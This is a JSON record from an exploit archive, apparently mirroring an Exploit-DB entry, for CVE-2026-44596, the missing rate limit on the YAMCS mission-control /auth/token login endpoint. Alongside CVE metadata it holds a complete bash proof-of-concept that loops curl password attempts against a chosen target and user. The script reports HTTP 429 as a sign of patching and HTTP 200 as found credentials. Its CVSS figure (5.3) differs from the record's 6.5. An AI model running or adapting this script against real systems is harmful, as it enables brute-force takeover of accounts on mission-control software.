{"exploit":{"id":"EDB-52605","name":"YAMCS yamcs-core 5.12.7 - '/auth/token' Unauthenticated No Rate Limiting","description":"YAMCS yamcs-core 5.12.7 - '/auth/token' Unauthenticated No Rate Limiting","cves":["CVE-2026-44596"],"author":"Daniel Miranda","published":"2026-05-30","platform":"multiple","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52605","path":"exploits/multiple/webapps/52605.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52605.sh","vulnerabilities":[{"id":"CVE-2026-44596","state":"PUBLISHED","title":"Yamcs: No Rate Limiting on Authentication Endpoint","titleSource":"CVE Program","description":"Yamcs is a mission control framework. Prior to 5.12.7, the authentication endpoint POST /auth/token in yamcs-core, handled by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java, lacked any rate limiting, account lockout, or failed-attempt throttling, so an unauthenticated remote attacker could perform unlimited password-guessing attempts against any user account, significantly increasing the risk of successful brute-force attacks. This issue is fixed in versions 5.12.7 and 5.13.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44596","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44596"},"updatedAt":"2026-07-17T14:05:15.049Z","retrievedAt":"2026-11-25T16:15:43.297Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52605.png?v=2","url":"https://exploitbin.com/exploits/EDB-52605","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52605/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52605/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n# Exploit Title: YAMCS yamcs-core  5.12.7 - No Rate Limiting\n# Date: 2026-05-27\n# Exploit Author: Daniel Miranda Barcelona (Excal1bur)\n# Vendor Homepage: https://yamcs.org\n# Software Link: https://github.com/yamcs/yamcs\n# Version: < 5.12.7\n# Tested on: Linux\n# CVE: CVE-2026-44596\n# Category: Remote / Brute Force\n# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4\n\n# ============================================================\n# CVE-2026-44596 — YAMCS No Rate Limiting on /auth/token\n# ============================================================\n# Vulnerability: POST /auth/token accepts unlimited login\n#                attempts with no rate limiting or lockout.\n# Impact:        Unauthenticated brute-force of any account.\n# Affected:      yamcs-core < 5.12.7\n# Fixed in:      yamcs-core 5.12.7\n# CWE:           CWE-307\n# CVSS:          5.3 MEDIUM\n# ============================================================\n# Usage: ./poc.sh [target] [username] [attempts]\n# Example: ./poc.sh http://localhost:8090 operator 20\n# ============================================================\n\nTARGET=\"${1:-http://localhost:8090}\"\nUSERNAME=\"${2:-operator}\"\nATTEMPTS=\"${3:-20}\"\nLAST_STATUS=\"\"\n\necho \"============================================================\"\necho \" CVE-2026-44596 — YAMCS No Rate Limiting PoC\"\necho \" Target:   $TARGET\"\necho \" Username: $USERNAME\"\necho \" Attempts: $ATTEMPTS\"\necho \"============================================================\"\necho \"\"\necho \"[*] Sending $ATTEMPTS unauthenticated login attempts...\"\necho \"[*] Vulnerable: HTTP 401 every time, never HTTP 429\"\necho \"\"\n\nfor i in $(seq 1 $ATTEMPTS); do\n    RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n        -X POST \"$TARGET/auth/token\" \\\n        -H \"Content-Type: application/x-www-form-urlencoded\" \\\n        -d \"grant_type=password&username=$USERNAME&password=wrongpass$i\")\n\n    echo \"  Attempt $i/$ATTEMPTS: HTTP $RESPONSE\"\n    LAST_STATUS=$RESPONSE\n\n    if [ \"$RESPONSE\" = \"429\" ]; then\n        echo \"\"\n        echo \"[+] HTTP 429 received — rate limiting active (PATCHED)\"\n        exit 0\n    fi\n\n    if [ \"$RESPONSE\" = \"200\" ]; then\n        echo \"\"\n        echo \"[!!!] HTTP 200 — credentials found at attempt $i\"\n        exit 0\n    fi\ndone\n\necho \"\"\nif [ \"$LAST_STATUS\" = \"401\" ]; then\n    echo \"[!!!] VULNERABLE: $ATTEMPTS attempts, no rate limiting detected\"\n    echo \"[!!!] Brute-force possible without restriction\"\nfi\n\necho \"\"\necho \"============================================================\"\necho \" Fix: Upgrade to yamcs-core >= 5.12.7\"\necho \"============================================================\"","sha256":"50804ff75e4865182567c6ce7ffbd2e96373e86b6e8f5a210a026c8463b4f37e","bytes":2645,"fetchedAt":"2026-11-26T08:59:07.253Z","encoding":"utf-8 (display only; download retains original bytes)"}